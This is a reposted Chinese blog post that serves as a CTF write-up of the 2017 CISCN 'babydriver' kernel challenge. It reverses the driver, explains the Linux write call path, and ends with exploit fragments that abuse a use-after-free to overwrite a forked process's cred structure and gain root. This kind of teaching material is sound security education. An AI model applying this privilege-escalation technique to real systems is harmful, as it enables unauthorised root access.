未加星标

linux kernel uaf---babydrive

字体大小 | |
[系统(linux) 所属分类 系统(linux) | 发布者 店小二05 | 时间 2019 | 作者 红领巾 ] 0人收藏点击收藏

初学linux 内核pwn,如有不正确的地方还请指教,本文会以一个题目(2017-ciscn-babydrive)跟一个实际的linux内核uaf漏洞讲解。

前置知识

M4x大佬的博客这里已经写的很清楚了,我就不在写这些东西了,毕竟自己也水平有限,担心有说错的地方。但是还是要写一下这个题里面所涉及到的一些问题。

设备文件&&模块:区别于我们所创建的test.txt这样的文件,这是系统对硬件的一个抽象,我们要使用这个驱动程序,首先要加载它,我们可以用insmod xxx.ko,这样驱动就会注册,得到一个设备号,这个主设备号就是系统对它的唯一标识。驱动就是根据此主设备号来创建一个放置在/dev目录下的设备文件。在我们要访问此硬件时,就可以对设备文件通过open、read、write、close等命令进行,而open,read,等函数的具体实现方式则是由驱动来决定,简而言之,如下图所示


linux kernel uaf---babydrive

应用层函数与模块函数之间是如何调用的?从open打开文件,到write写文件,这中间是怎么执行的?

2017-ciscn-babydrive 解包&&分析内核模块

解压后文件夹内存在三个文件:bzImage,booy.sh,rootfs.cpio

boot.sh : qemu启动所需的命令,如果需要调试的话,在boot.sh启动脚本里面添加 -gdb tcp::1234 -S 即可

bzImage : kernel映像

rootfs.cpio是根文件的映像,需要将其解包才能找到文件系统

执行下面三条命令即可

mv rootfs.cpio rootfs.cpio.gz gunzip rootfs.cpio.gz cpio -idmv < rootfs.cpio

在解包后的文件中发现一个init初始化文件

#!/bin/sh mount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs devtmpfs /dev chown root:root flag chmod 400 flag exec 0</dev/console exec 1>/dev/console exec 2>/dev/console insmod /lib/modules/4.4.72/babydriver.ko chmod 777 /dev/babydev echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" setsid cttyhack setuidgid 1000 sh umount /proc umount /sys poweroff -d 0 -f

在执行的时候会将/lib/modules/4.4.72/babydriver.ko插入内核,下面我们着重分析一下这个内核模块

分析

用ida打开后发现了 babyopen,babyioctl 等函数,逐个分析一下

babyrelease 00000000000 babyrelease proc near ; DATA XREF: __mcount_loc:0000000000000400↓o .text:0000000000000000 inode = rdi ; inode * .text:0000000000000000 filp = rsi ; file * .text:0000000000000000 call __fentry__ .text:0000000000000005 push rbp .text:0000000000000006 mov inode, cs:babydev_struct.device_buf .text:000000000000000D mov rbp, rsp .text:0000000000000010 call kfree .text:0000000000000015 mov rdi, offset aDeviceRelease ; "device release\n" .text:000000000000001C call printk .text:0000000000000021 xor eax, eax .text:0000000000000023 pop rbp .text:0000000000000024 retn .text:0000000000000024 babyrelease endp 可以发现存在一个名为 babydev 的结构体 00000000 babydevice_t struc ; (sizeof=0x10, align=0x8, copyof_429) 00000000 ; XREF: .bss:babydev_struct/r 00000000 device_buf dq ? ; XREF: babyrelease+6/r 00000000 ; babyopen+26/w ... ; offset 00000008 device_buf_len dq ? ; XREF: babyopen+2D/w 00000008 ; babyioctl+3C/w ... 00000010 babydevice_t ends 结构体内存在两个元素,device_buf指向了一段内存地址,device_buf_len应该就是这段内存地址的大小了。 再回到这个函数,函数通过 kfree将device_buf所指向的buf释放掉了。

babyopen

00000000030 babyopen proc near ; DATA XREF: __mcount_loc:0000000000000408↓o .text:0000000000000030 ; .data:fops↓o .text:0000000000000030 inode = rdi ; inode * .text:0000000000000030 filp = rsi ; file * .text:0000000000000030 call __fentry__ .text:0000000000000035 push rbp .text:0000000000000036 mov inode, qword ptr cs:kmalloc_caches+30h .text:000000000000003D mov edx, 40h ; '@' .text:0000000000000042 mov esi, 24000C0h .text:0000000000000047 mov rbp, rsp .text:000000000000004A call kmem_cache_alloc_trace .text:000000000000004F mov rdi, offset aDeviceOpen ; "device open\n" .text:0000000000000056 mov cs:babydev_struct.device_buf, rax .text:000000000000005D mov cs:babydev_struct.device_buf_len, 40h .text:0000000000000068 call printk .text:000000000000006D xor eax, eax .text:000000000000006F pop rbp .text:0000000000000070 retn .text:0000000000000070 babyopen endp

实现功能就是申请一段空间,并更新babydev_struct.device_buf的值为新空间的地址

babyioctl

__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg) { size_t v3; // rdx size_t v4; // rbx __int64 result; // rax _fentry__(filp, *(_QWORD *)&command); v4 = v3; if ( command == 65537 ) { kfree(babydev_struct.device_buf); babydev_struct.device_buf = (char *)_kmalloc(v4, 37748928LL); babydev_struct.device_buf_len = v4; printk("alloc done\n", 37748928LL); result = 0LL; } else { printk(&unk_2EB, v3); result = -22LL; } return result; }

关于ioctl函数 : int ioctl(int fd, unsigned long request, ...) 的第一个参数为文件描述符,第二个参数cmd是用户程序对设备的控制命令,再后边的参数则是一些补充参数,与设备有关。

如果command参数为0x10001,就会先释放掉babydev_struct.device_buf指向的内存,然后根据传入的大小重新申请一段空间,并更新结构体。

babyread,babywrite 代码很清晰,不做分析,只需要知道copy_to_user/copy_from_user跟用户态函数memcpy()差不多就可以了 babydrive_init 初始化 /dev/babydev设备文件,这里包含了几个点。 int __cdecl babydriver_init() { int v0; // edx __int64 v1; // rsi int v2; // ebx class *v3; // rax __int64 v4; // rax if ( (signed int)alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev") >= 0 )// 分配设备号 { cdev_init(&cdev_0, &fops); // 静态内存初始化 v1 = babydev_no; cdev_0.owner = &_this_module; v2 = cdev_add(&cdev_0, babydev_no, 1LL); // 添加到系统中去 if ( v2 >= 0 ) { v3 = (class *)_class_create(&_this_module, "babydev", &babydev_no); babydev_class = v3; if ( v3 ) { v4 = device_create(v3, 0LL, babydev_no, 0LL, "babydev"); v0 = 0; if ( v4 ) return v0; printk(&unk_351, 0LL); class_destroy(babydev_class); } else { printk(&unk_33B, "babydev"); } cdev_del(&cdev_0); } else { printk(&unk_327, v1); } unregister_chrdev_region(babydev_no, 1LL); return v2; } printk(&unk_309, 0LL); return 1; } 首先通过alloc_chrdev_region函数动态的分配了一个设备号,设备号的主要作用还是为了声明设备所对应的驱动程序。

cdev_init(&cdev_0,&fops),它的作用是初始化内存,fops方法里面保存的是什么?它保存了一些函数指针,指向处理与设备实际通信的函数,它表明了该驱动程序能对设备文件所进行的一些操作,在本例中就像

000000008C0 fops file_operations <offset __this_module, 0, offset babyread, \ .data:00000000000008C0 ; DATA XREF: babydriver_init:loc_1AA↑o .data:00000000000008C0 offset babywrite, 0, 0, 0, 0, offset babyioctl, 0, 0,\ .data:00000000000008C0 offset babyopen, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, \ .data:00000000000008C0 0, 0, 0>

可以看到有一个file_operations符号,在linux 内核源码中可以找到它的定义,ida中显示为0的地方意思就是不提供这个操作,可以对比下面的结构体。

struct file_operations { struct module *owner; loff_t (*llseek) (struct file *, loff_t, int); ssize_t (*read) (struct file *, char __user *, size_t, loff_t *); ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *); ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t); ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t); int (*readdir) (struct file *, void *, filldir_t); unsigned int (*poll) (struct file *, struct poll_table_struct *); long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long); long (*compat_ioctl) (struct file *, unsigned int, unsigned long); int (*mmap) (struct file *, struct vm_area_struct *); int (*open) (struct inode *, struct file *); int (*flush) (struct file *, fl_owner_t id); int (*release) (struct inode *, struct file *); int (*fsync) (struct file *, int datasync); int (*aio_fsync) (struct kiocb *, int datasync); int (*fasync) (int, struct file *, int); int (*lock) (struct file *, int, struct file_lock *); ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int); unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long); int (*check_flags)(int); int (*flock) (struct file *, int, struct file_lock *); ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int); ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int); int (*setlease)(struct file *, long, struct file_lock **); long (*fallocate)(struct file *file, int mode, loff_t offset, loff_t len); };

但是到这里需要考虑一个问题,应用层函数write是如何与babywrite联系在一起的呢?这里就是通过我们常说的系统调用sys_write,下面是linux kernel v2.6.11对sys_write的描述

asmlinkage ssize_t sys_write(unsigned int fd, const char __user * buf, size_t count) { struct file *file; ssize_t ret = -EBADF; int fput_needed; file = fget_light(fd, &fput_needed);//通过文件描述符获取文件 if (file) { loff_t pos = file_pos_read(file); ret = vfs_write(file, buf, count, &pos); file_pos_write(file, pos); fput_light(file, fput_needed); } return ret; }

可以看到sys_write最终是通过vfs_write实现的,再看一下vfs_write

ssize_t vfs_write(struct file *file, const char __user *buf, size_t count, loff_t *pos) { ssize_t ret; if (!(file->f_mode & FMODE_WRITE)) return -EBADF; if (!file->f_op || (!file->f_op->write && !file->f_op->aio_write)) return -EINVAL; if (unlikely(!access_ok(VERIFY_READ, buf, count))) return -EFAULT; ret = rw_verify_area(WRITE, file, pos, count); if (!ret) { ret = security_file_permission (file, MAY_WRITE); if (!ret) { if (file->f_op->write) ret = file->f_op->write(file, buf, count, pos); else ret = do_sync_write(file, buf, count, pos); if (ret > 0) { dnotify_parent(file->f_dentry, DN_MODIFY); current->wchar += ret; } current->syscw++; } } return ret; }

在这里,我们只关注ret = file->f_op->write(file, buf, count, pos);它的实现,file结构体也是定义在linux kernel中的结构体。

struct file { struct list_head f_list; struct dentry *f_dentry; struct vfsmount *f_vfsmnt; struct file_operations *f_op; atomic_t f_count; unsigned int f_flags; mode_t f_mode; int f_error; loff_t f_pos; struct fown_struct f_owner; unsigned int f_uid, f_gid; struct file_ra_state f_ra; size_t f_maxcount; unsigned long f_version; void *f_security; /* needed for tty driver, and maybe others */ void *private_data; #ifdef CONFIG_EPOLL /* Used by fs/eventpoll.c to link all the hooks to this file */ struct list_head f_ep_links; spinlock_t f_ep_lock; #endif /* #ifdef CONFIG_EPOLL */ struct address_space *f_mapping; };

通过这个我们可以知道,它是通过file_operations结构体查找的write函数,前面我们已经分析了file_operations结构体里面包含驱动程序能够对文件进行的操作参数。,但是这个file结构体是怎么来的通过对sys_write函数的分析,可以知道

file = fget_light(fd, &fput_needed);

file是通过fget_light函数获得的

struct file fastcall *fget_light(unsigned int fd, int *fput_needed) { struct file *file; struct files_struct *files = current->files; .......(略) get_file(file); ......(略) return file; }

current ? 在linux中使用task_struct结构体存储相关的进程信息,而在linux内核编程中current宏可以非常简单地获取到指向task_struct的指针

我们可以得到如下的流程图 (第四个框表示file)
linux kernel uaf---babydrive

为了得到完整流程,我们还需要了解inode,inode里面包含文件访问权限,属主,属组,大小,生成时间,访问时间,最后修改时间等信息,我们通过执行命令 ll 所看到的信息就是从inode结构体中取出来的,与file不同的是,一个文件对应于一个inode,但可能对应多个file。

struct inode { dev_t i_rdev;//设备号 struct cdev *i_cdev; struct file_operations *i_fop; /* former ->i_op->default_file_ops */ ......(略) };

cdev:

struct cdev { ......(略) struct file_operations *ops; dev_t dev; unsigned int count; }; inode中保存了设备号,与驱动程序一一对应,dentry结构体中的保存了inode,因此整个流程为
linux kernel uaf---babydrive

尽管上述流程可能对于解决babydrive这道题意义不大,但是理解他们是如何怎么工作的总归是有好处的,就像丁佬说的:不要把ctf当成“应试教育”。

分析

再回到这个题目,M4x大佬也对exp写了注释,我就不在此班门弄斧,只是针对exp写写自己的理解

int fd1 = open("/dev/babydev", 2); int fd2 = open("/dev/babydev", 2);
linux kernel uaf---babydrive
ioctl(fd1, 0x10001, 0x8a);
linux kernel uaf---babydrive
close(fd1);//kfree以后的内存会加入缓存,受slab分配器分配; int pid = fork();
linux kernel uaf---babydrive
write(fd2, zeros, 28);//因为没有close(fd2),所以存在fd2的file,还能继续找到相应的驱动->babydrive

此时会继续向device_buf所指向的地址写入内容,因此可以修改cred结构体。

总结

非常感谢atum大佬提供的题目,丁佬跟p4nda大佬的帮助。

从write->sys_write->babywrite的调用过程我看可以看出linux设计的巧妙之处,用户空间开发者只需要关注write函数怎么使用就可以了,不用关心你的驱动有多复杂。

相关链接:

http://www.ruanyifeng.com/blog/2011/12/inode.html

https://www.ibm.com/developerworks/cn/linux/l-linux-slab-allocator/index.html

本文系统(linux)相关术语:linux系统 鸟哥的linux私房菜 linux命令大全 linux操作系统

代码区博客精选文章
分页:12
转载请注明
本文标题:linux kernel uaf---babydrive
本站链接:https://www.codesec.net/view/628492.html


1.凡CodeSecTeam转载的文章,均出自其它媒体或其他官网介绍,目的在于传递更多的信息,并不代表本站赞同其观点和其真实性负责;
2.转载的文章仅代表原创作者观点,与本站无关。其原创性以及文中陈述文字和内容未经本站证实,本站对该文以及其中全部或者部分内容、文字的真实性、完整性、及时性,不作出任何保证或承若;
3.如本站转载稿涉及版权等问题,请作者及时联系本站,我们会及时处理。
登录后可拥有收藏文章、关注作者等权限...
技术大类 技术大类 | 系统(linux) | 评论(0) | 阅读(125)